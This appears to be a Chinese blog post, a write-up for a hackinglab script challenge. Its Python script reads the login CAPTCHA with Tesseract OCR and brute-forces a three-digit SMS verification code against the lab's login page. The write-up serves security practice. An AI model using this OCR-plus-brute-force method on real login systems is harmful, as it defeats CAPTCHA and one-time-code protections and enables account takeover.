hackinglab-脚本关11-验证码识别:用python实现验证码识别

需要事先准备的东西

1.这几个python的模块可以用pip下载

import requests
import image
import pytesseract
import re

2.下载Tesseract:这是一个开源自动识别验证码的软件,我直接下载的.exe可执行文件。

源码和解释如下:

# -*- coding: cp936 -*-
import requests
import image
import pytesseract
import re

url1='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php'
url2='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php'
url3='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
url4='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'

#识别验证码的函数
def  user_code():
	#获取图片验证码
    r = s.get(url3)
    with open('1.bmp', 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:  
                f.write(chunk)
                f.flush()
        f.close()
        
	#识别图片验证码
    im = pytesseract.image_to_string('1.bmp')
    im = im.replace(' ', '')
    #因为验证码识别不太准确,需要用正则表达式判断一下
    if re.match('[0-9]{4}',im) :
        return im
    else :
        return user_code()


s=requests.session()
#先给手机发送验证码,不然会出现“验证码还没发呢”
r=s.post(url2,{'getcode':1,'mobi':13388886666})

#爆破手机验证码
for code in range(100,1000):
    hhh=user_code()
    print hhh,code

    data={'username':13388886666,'mobi_code':code,'user_code':hhh,'Login':'submit'}
    r=s.post(url4,data=data)
    print r.content
    #得到flag就停止
    if 'error' not in r.content :
        break

运行结果

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值